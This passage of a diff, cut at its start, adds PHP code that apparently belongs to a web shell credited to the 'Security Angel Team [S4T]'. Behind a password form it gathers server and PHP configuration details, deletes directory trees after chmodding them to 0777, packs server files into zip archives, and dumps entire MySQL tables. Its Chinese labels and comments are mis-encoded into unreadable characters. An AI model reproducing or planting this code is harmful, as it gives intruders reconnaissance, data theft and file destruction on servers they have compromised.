",$dis_func); + } + $phpinfo=(!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; + $info = array( + 0 => array("·þÎñÆ÷ʱ¼ä",date("YÄêmÔÂdÈÕ h:i:s",time())), + 1 => array("·þÎñÆ÷ÓòÃû","".$_SERVER['SERVER_NAME'].""), + 2 => array("·þÎñÆ÷IPµØÖ·",gethostbyname($_SERVER['SERVER_NAME'])), + 3 => array("·þÎñÆ÷²Ù×÷ϵͳ",PHP_OS), + 5 => array("·þÎñÆ÷²Ù×÷ϵͳÎÄ×Ö±àÂë",$_SERVER['HTTP_ACCEPT_LANGUAGE']), + 6 => array("·þÎñÆ÷½âÒëÒýÇæ",$_SERVER['SERVER_SOFTWARE']), + 7 => array("Web·þÎñ¶Ë¿Ú",$_SERVER['SERVER_PORT']), + 8 => array("PHPÔËÐз½Ê½",strtoupper(php_sapi_name())), + 9 => array("PHP°æ±¾",PHP_VERSION), + 10 => array("ÔËÐÐÓÚ°²È«Ä£Ê½",getphpcfg("safemode")), + 11 => array("·þÎñÆ÷¹ÜÀíÔ±",$adminmail), + 12 => array("±¾Îļþ·¾¶",__FILE__), + + 13 => array("ÔÊÐíʹÓà URL ´ò¿ªÎļþ allow_url_fopen",getphpcfg("allow_url_fopen")), + 14 => array("ÔÊÐí¶¯Ì¬¼ÓÔØÁ´½Ó¿â enable_dl",getphpcfg("enable_dl")), + 15 => array("ÏÔʾ´íÎóÐÅÏ¢ display_errors",getphpcfg("display_errors")), + 16 => array("×Ô¶¯¶¨ÒåÈ«¾Ö±äÁ¿ register_globals",getphpcfg("register_globals")), + 17 => array("magic_quotes_gpc",getphpcfg("magic_quotes_gpc")), + 18 => array("³ÌÐò×î¶àÔÊÐíʹÓÃÄÚ´æÁ¿ memory_limit",getphpcfg("memory_limit")), + 19 => array("POST×î´ó×Ö½ÚÊý post_max_size",getphpcfg("post_max_size")), + 20 => array("ÔÊÐí×î´óÉÏ´«Îļþ upload_max_filesize",$upsize), + 21 => array("³ÌÐò×ÔËÐÐʱ¼ä max_execution_time",getphpcfg("max_execution_time")."Ãë"), + 22 => array("±»½ûÓõĺ¯Êý disable_functions",$dis_func), + 23 => array("phpinfo()",$phpinfo), + 24 => array("Ŀǰ»¹ÓпÕÓà¿Õ¼ädiskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), + + 25 => array("ͼÐδ¦Àí GD Library",getfun("imageline")), + 26 => array("IMAPµç×ÓÓʼþϵͳ",getfun("imap_close")), + 27 => array("MySQLÊý¾Ý¿â",getfun("mysql_close")), + 28 => array("SyBaseÊý¾Ý¿â",getfun("sybase_close")), + 29 => array("OracleÊý¾Ý¿â",getfun("ora_close")), + 30 => array("Oracle 8 Êý¾Ý¿â",getfun("OCILogOff")), + 31 => array("PRELÏàÈÝÓï·¨ PCRE",getfun("preg_match")), + 32 => array("PDFÎĵµÖ§³Ö",getfun("pdf_close")), + 33 => array("Postgre SQLÊý¾Ý¿â",getfun("pg_close")), + 34 => array("SNMPÍøÂç¹ÜÀíЭÒé",getfun("snmpget")), + 35 => array("ѹËõÎļþÖ§³Ö(Zlib)",getfun("gzclose")), + 36 => array("XML½âÎö",getfun("xml_set_object")), + 37 => array("FTP",getfun("ftp_login")), + 38 => array("ODBCÊý¾Ý¿âÁ¬½Ó",getfun("odbc_close")), + 39 => array("SessionÖ§³Ö",getfun("session_start")), + 40 => array("SocketÖ§³Ö",getfun("fsockopen")), + ); + + $tb->tableheader(); + echo "
\n"; + $tb->tdbody('²é¿´PHPÅäÖòÎÊý×´¿ö','left','1','30','style="padding-left: 5px;"'); + $tb->tdbody('ÇëÊäÈëÅäÖòÎÊý(Èç:magic_quotes_gpc): '.$tb->makeinput('phpvarname','','','text','40').' '.$tb->makeinput('','²é¿´','','submit'),'left','2','30','style="padding-left: 5px;"'); + $tb->makehidden('do','viewphpvar'); + echo "
\n"; + $hp = array(0=> '·þÎñÆ÷ÌØÐÔ', 1=> 'PHP»ù±¾ÌØÐÔ', 2=> '×é¼þÖ§³Ö×´¿ö'); + for ($a=0;$a<3;$a++) { + $tb->tdbody(''.$hp[1].'','left','1','30','style="padding-left: 5px;"'); +?> + + + +\n"; + } + } elseif ($a == 1) { + for ($i=13;$i<=24;$i++) { + echo "\n"; + } + } elseif ($a == 2) { + for ($i=25;$i<=40;$i++) { + echo "\n"; + } + } +?> +
".$info[$i][0]."".$info[$i][1]."
".$info[$i][0]."".$info[$i][1]."
".$info[$i][0]."".$info[$i][1]."
+ + +"; +}//end phpenv +?> +
+ + + + + +
Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved.
+
+ + + + + +
+Password: + + +
+read()) { + if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { + @chmod("$deldir/$file",0777); + deltree("$deldir/$file"); + } + if (is_file("$deldir/$file")) { + @chmod("$deldir/$file",0777); + @unlink("$deldir/$file"); + } + } + $mydir->close(); + @chmod("$deldir",0777); + return (@rmdir($deldir)) ? 1 : 0; + } + + // Åж϶ÁдÇé¿ö + function dir_writeable($dir) { + if (!is_dir($dir)) { + @mkdir($dir, 0777); + } + if(is_dir($dir)) { + if ($fp = @fopen("$dir/test.txt", 'w')) { + @fclose($fp); + @unlink("$dir/test.txt"); + $writeable = 1; + } else { + $writeable = 0; + } + } + return $writeable; + } + + // ±í¸ñÐмäµÄ±³¾°É«Ìæ»» + function getrowbg() { + global $bgcounter; + if ($bgcounter++%2==0) { + return "firstalt"; + } else { + return "secondalt"; + } + } + + // »ñÈ¡µ±Ç°µÄÎļþϵͳ·¾¶ + function getPath($mainpath, $relativepath) { + global $dir; + $mainpath_info = explode('/', $mainpath); + $relativepath_info = explode('/', $relativepath); + $relativepath_info_count = count($relativepath_info); + for ($i=0; $i<$relativepath_info_count; $i++) { + if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue; + if ($relativepath_info[$i] == '..') { + $mainpath_info_count = count($mainpath_info); + unset($mainpath_info[$mainpath_info_count-1]); + continue; + } + $mainpath_info[count($mainpath_info)] = $relativepath_info[$i]; + } //end for + return implode('/', $mainpath_info); + } + + // ¼ì²éPHPÅäÖòÎÊý + function getphpcfg($varname) { + switch($result = get_cfg_var($varname)) { + case 0: + return "No"; + break; + case 1: + return "Yes"; + break; + default: + return $result; + break; + } + } + + // ¼ì²éº¯ÊýÇé¿ö + function getfun($funName) { + return (false !== function_exists($funName)) ? "Yes" : "No"; + } + + // ѹËõ´ò°üÀà + class PHPZip{ + var $out=''; + function PHPZip($dir) { + if (@function_exists('gzcompress')) { + $curdir = getcwd(); + if (is_array($dir)) $filelist = $dir; + else{ + $filelist=$this -> GetFileList($dir);//ÎļþÁбí + foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1); + } + if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); + else chdir($curdir); + if (count($filelist)>0){ + foreach($filelist as $filename){ + if (is_file($filename)){ + $fd = fopen ($filename, "r"); + $content = @fread ($fd, filesize ($filename)); + fclose ($fd); + if (is_array($dir)) $filename = basename($filename); + $this -> addFile($content, $filename); + } + } + $this->out = $this -> file(); + chdir($curdir); + } + return 1; + } + else return 0; + } + + // »ñµÃÖ¸¶¨Ä¿Â¼ÎļþÁбí + function GetFileList($dir){ + static $a; + if (is_dir($dir)) { + if ($dh = opendir($dir)) { + while (($file = readdir($dh)) !== false) { + if($file!='.' && $file!='..'){ + $f=$dir .'/'. $file; + if(is_dir($f)) $this->GetFileList($f); + $a[]=$f; + } + } + closedir($dh); + } + } + return $a; + } + + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } // end if + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + + function addFile($data, $name, $time = 0) { + $name = str_replace('\\', '/', $name); + + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + + $fr .= $zdata; + + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + + $this -> datasec[] = $fr; + $new_offset = strlen(implode('', $this->datasec)); + + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset = $new_offset; + $cdrec .= $name; + + $this -> ctrl_dir[] = $cdrec; + } + + function file() { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } + } + + // ±¸·ÝÊý¾Ý¿â + function sqldumptable($table, $fp=0) { + $tabledump = "DROP TABLE IF EXISTS $table;\n"; + $tabledump .= "CREATE TABLE $table (\n"; + + $firstfield=1; + + $fields = mysql_query("SHOW FIELDS FROM $table"); + while ($field = mysql_fetch_array($fields)) { + if (!$firstfield) { + $tabledump .= ",\n"; + } else { + $firstfield=0; + } + $tabledump .= " $field[Field] $field[Type]"; + if (!empty($field["Default"])) { + $tabledump .= " DEFAULT '$field[Default]'"; + } + if ($field['Null'] != "YES") { + $tabledump .= " NOT NULL"; + } + if ($field['Extra'] != "") { + $tabledump .= " $field[Extra]"; + } + } + mysql_free_result($fields); + + $keys = mysql_query("SHOW KEYS FROM $table"); + while ($key = mysql_fetch_array($keys)) { + $kname=$key['Key_name']; + if ($kname != "PRIMARY" and $key['Non_unique'] == 0) { + $kname="UNIQUE|$kname"; + } + if(!is_array($index[$kname])) { + $index[$kname] = array(); + } + $index[$kname][] = $key['Column_name']; + } + mysql_free_result($keys); + + while(list($kname, $columns) = @each($index)) { + $tabledump .= ",\n"; + $colnames=implode($columns,","); + + if ($kname == "PRIMARY") { + $tabledump .= " PRIMARY KEY ($colnames)"; + } else { + if (substr($kname,0,6) == "UNIQUE") { + $kname=substr($kname,7); + } + $tabledump .= " KEY $kname ($colnames)"; + } + } + + $tabledump .= "\n);\n\n"; + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + + $rows = mysql_query("SELECT * FROM $table"); + $numfields = mysql_num_fields($rows); + while ($row = mysql_fetch_array($rows)) { + $tabledump = "INSERT INTO $table VALUES("; + + $fieldcounter=-1; + $firstfield=1; + while (++$fieldcounter<$numfields) { + if (!$firstfield) { + $tabledump.=", "; + } else { + $firstfield=0; + } + + if (!isset($row[$fieldcounter])) { + $tabledump .= "NULL"; + } else { + $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'"; + } + } + + $tabledump .= ");\n"; + + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + } + mysql_free_result($rows); + } + + class FORMS { + function tableheader() { + echo "\n"; + } + + function headerform($arg=array()) { + global $dir; + if ($arg[enctype]){ + $enctype="enctype=\"$arg[enctype]\""; + } else { + $enctype=""; + } + if (!isset($arg[method])) { + $arg[method] = "POST"; + } + if (!isset($arg[action])) { + $arg[action] = ''; + } + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + } + + function tdheader($title) { + global $dir; + echo " \n"; + echo " \n"; + echo " \n"; + } + + function tdbody($content,$align='center',$bgcolor='2',$height='',$extra='',$colspan='') { + if ($bgcolor=='2') { + $css="secondalt"; + } elseif ($bgcolor=='1') { + $css="firstalt"; + } else { + $css=$bgcolor; + } + $height = empty($height) ? "" : " height=".$height; + $colspan = empty($colspan) ? "" : " colspan=".$colspan; + echo " \n"; + echo " \n"; + echo " \n"; + } + + function tablefooter() { + echo "
".$arg[content]."
".$title." [·µ»Ø]
".$content."
\n"; + } + + function formheader($action='',$title,$target='') { + global $dir; + $target = empty($target) ? "" : " target=\"".$target."\""; + echo "
\n"; + echo " \n"; + echo " ".$title." [·µ»Ø]\n"; + echo " \n"; + } + + function makehidden($name,$value=''){ + echo "\n"; + } + + function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){ + $css = ($css == 'input') ? " class=\"input\"" : ""; + $input = "\n"; + return $input; + } + + function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){ + $textarea = "\n"; + return $textarea; + } + + function formfooter($over='',$height=''){ + $height = empty($height) ? "" : " height=\"".$height."\""; + echo " \n"; + echo " \n"; + echo " \n"; + echo "
\n"; + echo $end = empty($over) ? "" : "\n"; + } + + function makeselect($arg = array()){ + if ($arg[multiple]==1) { + $multiple = " multiple"; + if ($arg[size]>0) { + $size = "size=$arg[size]"; + } + } + if ($arg[css]==0) { + $css = "class=\"input\""; + } + $select = "\n"; + return $select; + } + } +?> \ No newline at end of file